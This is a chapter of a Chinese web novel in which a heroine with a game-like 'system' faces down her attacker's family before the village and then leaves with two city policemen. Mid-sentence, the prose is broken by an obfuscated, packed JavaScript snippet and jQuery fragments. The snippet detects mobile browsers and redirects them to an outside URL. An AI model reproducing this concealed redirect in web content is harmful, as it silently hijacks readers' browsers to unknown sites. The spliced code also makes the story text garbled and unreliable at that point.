林若棠一觉醒来,迎接她的是好感度就是再减5的“绝世大惊喜”。
从-5到0,再到-5,这破任务就像个无限循环的莫比乌斯环,永远走不到尽头。来来回回折腾了好几次,别说是系统,就连她这个最在意进度值的人也麻木了。
她盯着天花板发了两秒呆,幽幽开口:“统啊,你摸着良心说,昨晚我和男主的互动……到底怎么样?”
系统在她眼前炸开一片彩虹光效,电子音疯狂吹起彩虹屁:【宿主昨晚的表现简直是教科书级别,特别特别特别完美!忧郁温婉,欲语还休,无论是氛围还是情绪,都拿捏得恰到好处!我给宿主满分爆灯(≧?≦)】
林若棠内心毫无波澜:“所以,按你的经验,男主应该给多少好感度?”
【40,最起码40!】
“哦。”她把鲜红的“-5”放大放大再放大,直到占据整个屏幕,“那这个怎么解释?”
【……】系统沉默了一秒,随后——【滋——滋滋——】
屏幕突然扭曲成一团乱码,电子音断断续续,CPU濒临过载:【宿、宿主……我觉得……可能是我出问题了……呜,一定是我中了病毒……我需要返厂重修一下……】
“啪!”一声电流轻响,系统彻底下线。任凭林若棠怎么召唤,脑子里的小机器人就跟死机了一样,毫无反应。
她盯着空荡荡的系统界面,缓缓吐出一口气。瞧瞧,连AI都被男主搞得道心破碎了。这任务真的是正常人能做的吗?
阎苏柏这家伙,真是罪孽深重!可恶啊!
——
怀着苦大仇深的心情,林若棠慢吞吞地爬起床。虽然还没想好该用什么表情面对阎苏柏,但做顿早饭刷好感度总归是没错的。
可她在屋里转了一圈,别说阎苏柏,就连邵远也不见人影。最后,她在灶台的锅里找到了一碗卖相惨淡的饭和干巴巴的馒头,也不知道是谁的杰作,尝了一口,味道堪称震撼人心。
本着不浪费粮食的原则,她硬着头皮啃完馒头,然后果断把那碗味道诡异的饭倒给了院里的老母鸡。
咯咯哒啄了两口,抬头看了她一眼,一人一鸡不约而同从彼此眼里品出了一丝嫌弃,颇有些同病相怜的意味。
雨不知何时停了,天色澄净,空气里带着泥土的清新。她锁好门,沿着小路往知青点走。一路上安静得可怕,好像整个村子都空了。
直到走到知青点,谜底才揭晓——那地方热闹得像赶集,里三层外三层围满了人。林若棠本想绕道走,还没转身,就被人一眼认了出来:
“哎哟!这不是阎……啊不对,小林回来了!”
“快快快,正找你呢。”
人群顿时如摩西分海般,“唰”地给她让出一条道。林若棠还没反应过来,就被推搡着挤了进去。
知青院里人齐得像是开批斗大会,她一走进去,瞬间感受到比刚才更炽热的目光。刘志国被五花大绑扔在地上,脸色灰败,活像条半死不活的咸鱼。
挨了两棍子,又淋了半夜雨,这会儿连哼哼的力气都没了。他旁边,他妈和他奶正一左一右抱着他干嚎,活像哭丧现场。
一见林若棠,两人顿时目露凶光,张牙舞爪地扑过来,却被阎苏柏和邵远一左一右拦住。扑腾不成,她们干脆往地上一坐,拍着大腿开始撒泼:
“小娼妇!你把我儿子害惨了哟!天杀的狐狸精!”
“大家评评理啊!明明是这个骚寡妇勾引我儿子,你们咋光抓他不抓这破鞋?!”
这两人的嘴里真是没有一句干净话!
大队长瞥了眼阎苏柏阴沉的脸色,太阳穴突突直跳,厉声喝道:“都给我闭嘴!今天就是要当众把事情弄清楚,你们再闹,我现在就把刘志国扭送公安局!”
抓进公安局可就不是小事了,这话一出,俩女人立马闭上了嘴巴。
大队长转向林若棠,语气缓和了些:“小林,你先说说昨晚的情况。”
站在阎苏柏边上的妇女笑眯眯的插话:“小林,我早上走得急忘了说,锅里的饭你见着没?”
说话的是阎家的一位远房嫂子。两人平日没什么交集,怎么……
余光扫过阎苏柏,林若棠顿时会意,连忙点头:“吃了,多谢嫂子惦记。”
于是,她顺着阎苏柏给的剧本,把昨晚说过的来龙去脉又讲了一遍,只是把求助对象从阎苏柏换成了这位嫂子。
大队长听完,转向刘志国:“你有什么要补充的?”
眼见外头围得水泄不通的人群,刘志国知道今天这事难以善了,索性破罐子破摔,扯着嗓子嚷道:
“大队长明鉴啊!分明是这贱人白天勾引我,夜里约我过去又翻脸不认人!谈不拢就下黑手把我打晕,现在倒打一耙,想要既当婊子又立牌坊!”
他娘立即拍着大腿帮腔:“志国说得在理!要不是这小蹄子平日里就骚情得很,村里那么多寡妇,我儿能瞧上她?”
这番歪理居然真有人附和:
“其实有点道理……”
“苍蝇不叮无缝的蛋,刘志国不是啥好东西,但林若棠肯定也有问题!”
林若棠瞧过去,发言的居然是她的熟人——知青点里的“好战友们”。
这也太叫人伤心了!
她眨巴眨巴眼睛:“但是,他扒的是知青点的墙头啊。按你们这说法……”她环视四周,似乎发现了个大秘密,“莫不是这院里人人都和刘志国有那种关系?”
“你少在这胡说八道!”
“你以为人人都像你似的?”
她赌气似的:“我这不是顺着你们的话茬往下说嘛。既然住知青院就是有问题,那……”她故意欲言又止,“反正我也随口一说,刘志国能和你们有啥关系啊,都别当真别当真。”
知青们向来心高气傲,哪肯有人污蔑他们的名声,更不愿意和泼皮无赖扯上干系。
有代表立即出来表态:“大队长!我们知青点的同志哪个不是根正苗红的好青年?跟这种地痞流氓扯上关系?呸!”
他狠狠往地上啐了一口,“要不是林知青机灵,昨晚指不定出什么大事呢!这种流氓行径,必须好好惩治!”
刘志国的娘和奶顿时像护崽的母鸡般炸开了毛,死死挡在刘志国身前。
都是乡里乡亲的,大队长也不想把事情闹大,出来打圆场说:“小林啊,你看,这事总归你也没吃亏,反倒是志国……,不如让他赔点钱算了。真要闹大了,对谁都不好……”
“大队长,”林若棠不卑不亢,“我是受害者,我需要讨回公道,该怎么处理他是公安的事,不归我管。”
大队长琢磨着怎么把这事压下去,刚要开口再劝,院门“砰”地一声被撞开,村里的二狗子慌里慌张地冲进来,上气不接下气地喊:“叔、叔!公安、公安来啦!”
“哪个不长眼的……”他一急,话还没说完,就听见院外传来一声冷笑:“怎么?群众报案还要看你的脸色?”
这帽子扣得太大了,谁敢应?他立刻闭上嘴,眯着眼睛打量起来人——不是县里派出所熟悉的公安,而是两个陌生面孔的高个子,穿着制服,格外精神板正。
为首的公安懒洋洋地说:“这案子归我们市局管了。小赵,拷人带走。”
“好嘞师傅!”年轻公安利落地掏出手铐。
刘志国他妈他奶也不是善茬,拼了老命阻拦。四个人扭作一团,师傅却抄着手站在后头看热闹:“哎徒弟徒弟,你小心后面!”
“嘿,这俩老婆子咋净使阴招呢。”
“反应这么慢,遇上持刀的你小子有几条命啊?”
阎苏柏瞧了一会儿,颇受冲击:“这样的也能在市局当公安?”
“这已经是我在矮子里拔的高个了,少说两句,一会儿给我徒弟吓跑了咋办。”
院子里早乱成一锅粥。小赵左支右绌,被两个撒泼打滚的老太太缠得脱不开身。最后瞅准刘志国力竭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710140|173593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的瞬间,一个猛扑,金属手铐“咔嗒”扣住对方手腕,这场闹剧才算收场。
围观的人各回各家,林若棠也依着阎苏柏刚刚的叮嘱,换了身衣裳,又把重要的东西都随身带着,悄悄去了村口。
她和阎苏柏差不多是前后脚到的。除了他们,那两位公安同志也没走。
年长些的王公安没个正形地倚在一辆摩托旁,得意地拍了拍崭新的车身:“怎么样?你一句用得着兄弟,我天不亮就骑着这宝贝来了。”
他压低声音:“市局新配的,我借出来那群小子心疼得跟什么似的。回去还得好好擦洗,对你够意思吧?”
这时候的摩托还不是后世常见的款式,而是一种叫侉子的边三轮摩托。主车是两轮摩托,右边焊接一个带轮子的金属挎斗,斗里只有个简单的座椅和扶手。
在自行车都没有普及的年代,这玩意上街绝对是回头率拉满的拉风交通工具。哪怕骑了一路,沾了不少泥水,也不损其帅气。
阎苏柏唇角露出几分笑意:“谢了,回首都请你吃饭。”
“就不能现在请,非得一遛遛我大半年?”王公安不满地咋舌。
“一会儿还得赶火车,实在没空。”
“走那么急干啥,屁股后头有狼撵着?”他眼珠一转,忽然瞥见站在一旁的林若棠,“哟,该不会是为了这位美人吧?没看出来呀,你小子也有这一天。”
“和她没关系,顺路而已。”阎苏柏打断他,语气平淡得听不出情绪。
王公安意味深长地“哦”了一声,那表情分明在说:信你才有鬼!要是没一点猫腻,那他这么多年的警校才是白读了!
“来吧,您二位请上车。”王公安一拍摩托的副驾,自吹自擂起来,“谁想坐我这儿?我和小赵都是头一回带人,但当师傅的技术绝对比徒弟强,好好选嗷。”
阎苏柏连个眼神都没给,修长的手指一勾,从小公安掌心勾过钥匙。
“嘿,你会骑吗?别给这宝贝弄坏了!”王公安一点也不放心,这要是磕着碰着了,他回去一顿检讨可跑不了。
回应他的是一记干净利落的翻身上车,点火启动一气呵成。摩托车发出震耳的轰鸣,阎苏柏用行动证明自己不仅会骑,而且相当在行。
小赵公安最会看眼色,二话不说就把自己和刘志国塞进王公安的副驾。剩下的林若棠,只能上阎苏柏的车。
她不太熟悉这种车的结构,上去的时候重心不稳一下,下意识撑了下身旁男人的胳膊。但他却像被烫到似的猛地侧身,让她抓了个空,险些摔倒。
“小叔?”她觉得好委屈,不明白为什么昨天还承诺过“有麻烦尽管找我”的男人,这会儿跟换了个人似的。
结果阎苏柏正专注熟悉车况,也不知是真没听见还是装作没听见,总之没有回应。
“咳咳……”王公安在一旁看得真切,忍不住清了清嗓子,“老阎啊,人家小姑娘都快哭了,你好歹……”
不等他说完,阎苏柏一下拧动油门,摩托车发出低沉的轰鸣。王公安手忙脚乱地也跟着启动,谁知一着急,车子歪歪扭扭地冲了出去,活像喝醉酒的莽汉。
“要命啊!”刘志国吱哇乱叫,一张脸吓得煞白。只能眼睁睁看着摩托车以诡异的S形路线直冲向村口那棵歪脖子树,最终在千钧一发之际——
“哐当!”
艰难刹住了,但是三人摔作一团。王公安四仰八叉地栽进泥坑,小公安半个身子挂在车把上,刘志国更是直接滚进了路边的水沟。三人狼狈地从泥水里爬起来,费了九牛二虎之力才把沉重的警用摩托扶正。
王公安抹了把脸上的泥水,尴尬得耳根通红。他这车技确实见不得人,平时最多在局里院子里转两圈。现在一载就是两个人,掌握不了平衡,这简直是难如登天。
等到哆哆嗦嗦地重新上路,抬眼望去——远处的土路上早已空空如也,连个车影子都看不见了。阎苏柏那车速,怕是已经跑到十里开外去了。